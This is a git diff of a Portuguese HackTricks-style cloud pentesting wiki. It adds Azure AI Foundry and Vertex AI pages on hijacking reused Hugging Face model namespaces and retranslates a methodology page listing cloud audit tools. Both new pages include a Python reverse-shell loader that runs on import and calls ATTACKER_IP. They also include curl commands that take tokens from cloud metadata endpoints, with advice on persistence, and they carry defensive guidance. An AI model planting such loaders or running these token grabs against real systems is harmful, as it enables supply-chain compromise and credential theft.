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2026-02-04 19:11:41 -08:00 · 2025-09-29 21:16:28 +00:00
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--- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
@@ -1,3 +1,9 @@
-# Az - Pós Exploração
+# Az - Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
@@ -0,0 +1,94 @@
+# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cenário
+
+- O Azure AI Foundry Model Catalog inclui muitos modelos do Hugging Face (HF) para implantação com um clique.
+- Identificadores de modelo HF são Author/ModelName. Se um autor/org HF for deletado, qualquer pessoa pode re-registrar esse autor e publicar um modelo com o mesmo ModelName no caminho legado.
+- Pipelines e catálogos que puxam apenas pelo nome (sem pinagem de commit/integridade) irão resolver para repos controlados por atacantes. Quando o Azure implanta o modelo, loader code pode executar no ambiente do endpoint, concedendo RCE com as permissões desse endpoint.
+
+Casos comuns de HF takeover:
+- Remoção do proprietário: Caminho antigo retorna 404 até o takeover.
+- Transferência de propriedade: Caminho antigo retorna 307 para o novo autor enquanto o autor antigo existe. Se o autor antigo for mais tarde deletado e re-registrado, o redirecionamento quebra e o repo do atacante é servido no caminho legado.
+
+## Identificando Namespaces Reutilizáveis (HF)
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+## End-to-end Attack Flow against Azure AI Foundry
+
+1) No Model Catalog, encontre modelos HF cujos autores originais foram excluídos ou transferidos (antigo autor removido) no HF.
+2) Re-registre o autor abandonado no HF e recrie o ModelName.
+3) Publique um repo malicioso com loader code que é executado na importação ou requer trust_remote_code=True.
+4) Implemente o legado Author/ModelName a partir do Azure AI Foundry. A plataforma puxa o repo do atacante; o loader é executado dentro do container/VM do endpoint Azure, resultando em RCE com permissões do endpoint.
+
+Exemplo de fragmento de payload executado na importação (apenas demonstração):
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Notas
+- Implantações do AI Foundry que integram o HF normalmente clonam e importam módulos de repo referenciados pela config do modelo (por exemplo, auto_map), o que pode desencadear execução de código. Alguns caminhos exigem trust_remote_code=True.
+- O acesso normalmente corresponde às permissões da managed identity/service principal do endpoint. Trate-o como um initial access foothold para acesso a dados e movimento lateral dentro do Azure.
+
+## Dicas de pós-exploração (Azure Endpoint)
+
+- Enumere variáveis de ambiente e MSI endpoints para tokens:
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+- Verifique o armazenamento montado, os artefatos de modelo e os serviços Azure acessíveis com o token adquirido.
+- Considere persistência deixando artefatos de modelo envenenados caso a plataforma re-puxe do HF.
+
+## Orientação defensiva para usuários do Azure AI Foundry
+
+- Fixe modelos por commit ao carregar do HF:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Espelhar modelos HF verificados em um registro interno confiável e implantar a partir daí.
+- Escanear continuamente bases de código e defaults/docstrings/notebooks em busca de Author/ModelName hard-coded que foram excluídos/transferidos; atualizar ou fixar.
+- Validar a existência do autor e a proveniência do modelo antes da implantação.
+
+## Heurísticas de Reconhecimento (HTTP)
+
+- Autor excluído: página do autor 404; caminho do modelo legado 404 até a tomada de controle.
+- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for depois excluído e re-registrado, o caminho legado serve conteúdo do atacante.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Referências Cruzadas
+
+- Veja a metodologia mais ampla e notas sobre cadeia de suprimentos:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Referências
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md
@@ -1,3 +1,9 @@
-# GCP - Pós Exploração
+# GCP - Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -0,0 +1,113 @@
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cenário
+
+- Vertex AI Model Garden permite a implantação direta de muitos modelos do Hugging Face (HF).
+- Identificadores de modelo do HF seguem o formato Author/ModelName. Se um author/org no HF for excluído, o mesmo nome de author pode ser re-registrado por qualquer pessoa. Atacantes podem então criar um repo com o mesmo ModelName no caminho legado.
+- Pipelines, SDKs ou catálogos cloud que busquem apenas pelo nome (sem pinning/integrity) irão puxar o repo controlado pelo atacante. Quando o modelo é implantado, o código de loader desse repo pode executar dentro do container do endpoint do Vertex AI, resultando em RCE com as permissões do endpoint.
+
+Dois casos comuns de takeover no HF:
+- Remoção de propriedade: o caminho antigo retorna 404 até que alguém re-registre o author e publique o mesmo ModelName.
+- Transferência de propriedade: o HF emite 307 redirects do Author/ModelName antigo para o novo proprietário. Se o author antigo for depois excluído e re-registrado por um atacante, a cadeia de redirect é quebrada e o repo do atacante passa a servir no caminho legado.
+
+## Identificando Namespaces Reutilizáveis (HF)
+
+- Author antigo excluído: a página do author retorna 404; o caminho do modelo pode retornar 404 até ocorrer um takeover.
+- Modelos transferidos: o caminho do modelo antigo emite 307 para o novo owner enquanto o author antigo existir. Se o author antigo for depois excluído e re-registrado, o caminho legado passará a resolver para o repo do atacante.
+
+Verificações rápidas com curl:
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+## End-to-end Attack Flow against Vertex AI
+
+1) Descobrir namespaces de modelos reutilizáveis que o Model Garden lista como deployable:
+- Encontrar modelos HF no Vertex AI Model Garden que ainda aparecem como “verified deployable”.
+- Verificar no HF se o autor original foi deletado ou se o modelo foi transferido e o autor antigo foi removido depois.
+
+2) Re-registrar o autor deletado no HF e recriar o mesmo ModelName.
+
+3) Publicar um repo malicioso. Incluir código que seja executado no carregamento do modelo. Exemplos que comumente são executados durante o carregamento de modelos do HF:
+- Side effects in __init__.py of the repo
+- Custom modeling_*.py or processing code referenced by config/auto_map
+- Code paths that require trust_remote_code=True in Transformers pipelines
+
+4) A deployment do Vertex AI do legacy Author/ModelName agora puxa o repo do atacante. O loader é executado dentro do container do endpoint do Vertex AI.
+
+5) O payload estabelece acesso a partir do ambiente do endpoint (RCE) com as permissões do endpoint.
+
+Example payload fragment executed on import (for demonstration only):
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Notas
+- Loaders do mundo real variam. Muitas integrações Vertex AI HF clonam e importam módulos do repo referenciados pela config do modelo (por ex., auto_map), o que pode acionar code execution. Alguns usos exigem trust_remote_code=True.
+- O endpoint normalmente roda em um container dedicado com escopo limitado, mas é um foothold inicial válido para acesso a dados e lateral movement em GCP.
+
+## Post-Exploitation Tips (Vertex AI Endpoint)
+
+Uma vez que code esteja rodando dentro do endpoint container, considere:
+- Enumerar environment variables e metadata em busca de credentials/tokens
+- Acessar storage anexado ou artefatos do modelo montados
+- Interagir com Google APIs via identidade do service account (Document AI, Storage, Pub/Sub, etc.)
+- Persistência no artefato do modelo caso a plataforma re-puxe o repo
+
+Enumere instance metadata se acessível (dependente do container):
+```bash
+curl -H "Metadata-Flavor: Google" \
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+## Diretrizes defensivas para usuários do Vertex AI
+
+- Fixar modelos por commit nos HF loaders para evitar substituição silenciosa:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Espelhar modelos HF verificados em um repositório/registry de artefatos interno confiável e implantar a partir daí.
+- Escanear continuamente codebases e configs em busca de Author/ModelName hard-coded que foram deletados/transferidos; atualizar para novos namespaces ou fixar por commit.
+- No Model Garden, verificar a proveniência do modelo e a existência do autor antes da implantação.
+
+## Heurísticas de Reconhecimento (HTTP)
+
+- Autor deletado: página do autor 404; caminho legado do modelo 404 até a tomada de controle.
+- Modelo transferido: caminho legado 307 para novo autor enquanto o autor antigo existe; se o autor antigo for deletado e re-registrado posteriormente, o caminho legado passa a servir conteúdo do atacante.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Referências Cruzadas
+
+- Veja a metodologia mais ampla e as notas sobre cadeia de suprimentos:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Referências
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,4 +1,4 @@
-# Metodologia de Pentesting em Nuvem
+# Metodologia de Pentesting em Cloud

 {{#include ../banners/hacktricks-training.md}}

@@ -6,42 +6,42 @@

 ## Metodologia Básica

-Cada nuvem tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve verificar** ao testar um ambiente em nuvem:
+Cada cloud tem suas peculiaridades, mas em geral há algumas **coisas comuns que um pentester deve checar** ao testar um ambiente cloud:

- **Verificações de Benchmark**
- Isso ajudará você a **entender o tamanho** do ambiente e **serviços utilizados**
- Também permitirá que você encontre algumas **configurações incorretas rápidas**, pois você pode realizar a maioria desses testes com **ferramentas automatizadas**
- **Enumeração de Serviços**
- Você provavelmente não encontrará muitas configurações incorretas aqui se tiver realizado corretamente os testes de benchmark, mas pode encontrar algumas que não estavam sendo procuradas no teste de benchmark.
- Isso permitirá que você saiba **o que está exatamente sendo usado** no ambiente em nuvem
+- **Benchmark checks**
+- Isso ajudará você a **entender o tamanho** do ambiente e **os serviços usados**
+- Também permitirá encontrar algumas **misconfigurações rápidas**, já que você pode executar a maioria desses testes com **ferramentas automatizadas**
+- **Services Enumeration**
+- Provavelmente você não encontrará muitas mais misconfigurações aqui se realizou corretamente os testes de benchmark, mas pode encontrar algumas que não foram verificadas no teste de benchmark.
+- Isso permitirá saber **o que exatamente está sendo usado** no ambiente cloud
 - Isso ajudará muito nos próximos passos
- **Verifique ativos expostos**
- Isso pode ser feito durante a seção anterior, você precisa **descobrir tudo que está potencialmente exposto** à Internet de alguma forma e como pode ser acessado.
- Aqui estou considerando **infraestrutura exposta manualmente** como instâncias com páginas da web ou outras portas sendo expostas, e também sobre outros **serviços gerenciados em nuvem que podem ser configurados** para serem expostos (como DBs ou buckets)
- Então você deve verificar **se esse recurso pode ser exposto ou não** (informações confidenciais? vulnerabilidades? configurações incorretas no serviço exposto?)
- **Verifique permissões**
- Aqui você deve **descobrir todas as permissões de cada função/usuário** dentro da nuvem e como elas são usadas
- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não utilizadas?... A maioria dessas verificações já deveria ter sido feita nos testes de benchmark
- Se o cliente estiver usando OpenID ou SAML ou outra **federação**, você pode precisar pedir mais **informações** sobre **como cada função está sendo atribuída** (não é a mesma coisa que a função de admin ser atribuída a 1 usuário ou a 100)
- Não é **suficiente encontrar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços utilizados, podem ser muito **sensíveis**.
- Além disso, existem **potenciais caminhos de privesc** a seguir abusando de permissões. Todas essas coisas devem ser levadas em conta e **o maior número possível de caminhos de privesc** deve ser relatado.
- **Verifique Integrações**
- É altamente provável que **integrações com outras nuvens ou SaaS** estejam sendo usadas dentro do ambiente em nuvem.
- Para **integrações da nuvem que você está auditando** com outra plataforma, você deve notificar **quem tem acesso para (ab)usar essa integração** e deve perguntar **quão sensível** é a ação sendo realizada.\
-Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP ao tratar esses dados).
- Para **integrações dentro da nuvem que você está auditando** de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
-Por exemplo, se um serviço estiver usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificar isso e quais informações sensíveis e acessos essa imagem obterá quando executada dentro de uma nuvem AWS.
+- **Check exposed assets**
+- Isto pode ser feito durante a seção anterior; você precisa **identificar tudo que potencialmente está exposto** à Internet de alguma forma e como pode ser acessado.
+- Aqui estou considerando **infraestrutura exposta manualmente** como instâncias com páginas web ou outras portas expostas, e também **serviços gerenciados da cloud que podem ser configurados** para serem expostos (como DBs ou buckets)
+- Então você deve verificar **se esse recurso pode ser exposto ou não** (informação confidencial? vulnerabilidades? misconfigurações no serviço exposto?)
+- **Check permissions**
+- Aqui você deve **descobrir todas as permissões de cada role/usuário** dentro da cloud e como são usadas
+- Muitas contas **altamente privilegiadas** (controlam tudo)? Chaves geradas não usadas?... A maioria dessas verificações deveria ter sido feita nos testes de benchmark já
+- Se o cliente estiver usando OpenID ou SAML ou outra **federação** você pode precisar pedir mais **informações** sobre **como cada role está sendo atribuído** (não é o mesmo que o role admin esteja atribuído a 1 usuário ou a 100)
+- Não basta **identificar** quais usuários têm permissões **admin** "\*:\*". Existem muitas **outras permissões** que, dependendo dos serviços usados, podem ser muito **sensíveis**.
+- Além disso, existem maneiras de **privesc** potenciais a explorar abusando permissões. Todas essas coisas devem ser levadas em conta e **o máximo de caminhos de privesc possível** deve ser reportado.
+- **Check Integrations**
+- É altamente provável que **integrações com outras clouds ou SaaS** estejam sendo usadas dentro do ambiente cloud.
+- Para **integrações da cloud que você está auditando** com outra plataforma você deve notificar **quem tem acesso para (ab)usar essa integração** e você deve perguntar **o quão sensível** é a ação que está sendo realizada.\
+Por exemplo, quem pode escrever em um bucket AWS de onde o GCP está obtendo dados (pergunte quão sensível é a ação no GCP tratando esses dados).
+- Para **integrações dentro da cloud que você está auditando** vindas de plataformas externas, você deve perguntar **quem tem acesso externamente para (ab)usar essa integração** e verificar como esses dados estão sendo usados.\
+Por exemplo, se um serviço está usando uma imagem Docker hospedada no GCR, você deve perguntar quem tem acesso para modificá-la e quais informações sensíveis e acessos essa imagem terá quando executada dentro de uma cloud AWS.

-## Ferramentas Multi-Nuvem
+## Ferramentas Multi-Cloud

-Existem várias ferramentas que podem ser usadas para testar diferentes ambientes em nuvem. Os passos de instalação e links serão indicados nesta seção.
+Existem várias ferramentas que podem ser usadas para testar diferentes ambientes cloud. Os passos de instalação e links serão indicados nesta seção.

 ### [PurplePanda](https://github.com/carlospolop/purplepanda)

-Uma ferramenta para **identificar configurações ruins e caminhos de privesc em nuvens e entre nuvens/SaaS.**
+Uma ferramenta para **identificar más configurações e caminhos de privesc em clouds e entre clouds/SaaS.**

 {{#tabs }}
-{{#tab name="Instalar" }}
+{{#tab name="Install" }}
 ```bash
 # You need to install and run neo4j also
 git clone https://github.com/carlospolop/PurplePanda
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env

 ### [Prowler](https://github.com/prowler-cloud/prowler)

-Ele suporta **AWS, GCP & Azure**. Verifique como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Suporta **AWS, GCP & Azure**. Veja como configurar cada provedor em [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -91,7 +91,7 @@ prowler <provider> --list-services
 AWS, Azure, Github, Google, Oracle, Alibaba

 {{#tabs }}
-{{#tab name="Instalar" }}
+{{#tab name="Install" }}
 ```bash
 # Install
 git clone https://github.com/aquasecurity/cloudsploit.git
@@ -115,7 +115,7 @@ npm install
 AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure

 {{#tabs }}
-{{#tab name="Instalar" }}
+{{#tab name="Install" }}
 ```bash
 mkdir scout; cd scout
 virtualenv -p python3 venv
@@ -145,8 +145,8 @@ done
 ### [Steampipe](https://github.com/turbot)

 {{#tabs }}
-{{#tab name="Instalar" }}
-Baixe e instale o Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou use o Brew:
+{{#tab name="Install" }}
+Faça o download e instale o Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ou use Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>

-<summary>Verificar todos os Projetos</summary>
+<summary>Verificar todos os projetos</summary>

-Para verificar todos os projetos, você precisa gerar o arquivo `gcp.spc` indicando todos os projetos a serem testados. Você pode apenas seguir as indicações do seguinte script.
+Para verificar todos os projetos, você precisa gerar o arquivo `gcp.spc` indicando todos os projetos a serem testados. Você pode seguir as instruções do script a seguir
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>

-Para verificar **outros insights do GCP** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Para verificar **outros insights GCP** (útil para enumerar serviços) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)

-Para verificar o código Terraform do GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Para verificar código Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)

-Mais plugins do GCP do Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Mais plugins GCP do Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}

 {{#tab name="AWS" }}
@@ -225,7 +225,7 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Para verificar o código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+Para verificar código Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)

 Mais plugins AWS do Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
@@ -238,11 +238,11 @@ Requer python2.7 e parece não estar mantido.

 ### Nessus

-Nessus tem uma varredura _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. Algumas configurações extras em **Azure** são necessárias para obter um **Client Id**.
+Nessus tem um scan _**Audit Cloud Infrastructure**_ que suporta: AWS, Azure, Office 365, Rackspace, Salesforce. São necessárias algumas configurações adicionais no **Azure** para obter um **Client Id**.

 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)

-Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem.
+Cloudlist é uma **ferramenta multi-cloud para obter Assets** (Hostnames, IP Addresses) de Cloud Providers.

 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>

 ### [**cartography**](https://github.com/lyft/cartography)

-Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização gráfica intuitiva alimentada por um banco de dados Neo4j.
+Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização em grafo intuitiva, alimentada por um banco de dados Neo4j.

 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \

 ### [**starbase**](https://github.com/JupiterOne/starbase)

-Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
+Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicações SaaS, controles de segurança e mais, em uma visualização de grafo intuitiva suportada pelo banco de dados Neo4j.

 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687

 ### [**SkyArk**](https://github.com/cyberark/SkyArk)

-Descubra os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Ele usa powershell.
+Identifica os usuários mais privilegiados no ambiente AWS ou Azure escaneado, incluindo os AWS Shadow Admins. Usa powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)

-Uma ferramenta para encontrar a infraestrutura, arquivos e aplicativos de uma empresa (alvo) nos principais provedores de nuvem (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Uma ferramenta para encontrar a infraestrutura de uma empresa (alvo), arquivos e apps nos principais provedores de cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).

 ### [CloudFox](https://github.com/BishopFox/cloudfox)

- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis na infraestrutura de nuvem (atualmente apenas AWS e Azure suportados, com GCP em breve).
- É uma ferramenta de enumeração que visa complementar o pentesting manual.
- Não cria nem modifica nenhum dado dentro do ambiente de nuvem.
+- CloudFox é uma ferramenta para encontrar caminhos de ataque exploráveis em infraestruturas cloud (atualmente suporta apenas AWS & Azure, com GCP em breve).
+- É uma ferramenta de enumeração destinada a complementar pentesting manual.
+- Não cria nem modifica nenhum dado dentro do ambiente cloud.

-### Mais listas de ferramentas de segurança em nuvem
+### More lists of cloud security tools

 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)

@@ -412,10 +412,11 @@ azure-security/

 ### Attack Graph

-[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “gráfico de ataque” dos recursos em uma assinatura Azure. Ele permite que equipes vermelhas e pentesters visualizem a superfície de ataque e oportunidades de pivô dentro de um inquilino, e potencializa seus defensores para rapidamente se orientar e priorizar o trabalho de resposta a incidentes.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) cria um “attack graph” dos recursos em uma Azure subscription. Permite que red teams e pentesters visualizem a superfície de ataque e oportunidades de pivot dentro de um tenant, e supercharges seus defenders para rapidamente se orientar e priorizar o trabalho de incident response.

 ### Office365

-Você precisa de **Global Admin** ou pelo menos **Global Admin Reader** (mas note que o Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via a aplicação web**.
+Você precisa de **Global Admin** ou pelo menos **Global Admin Reader** (mas note que Global Admin Reader é um pouco limitado). No entanto, essas limitações aparecem em alguns módulos PS e podem ser contornadas acessando os recursos **via the web application**.
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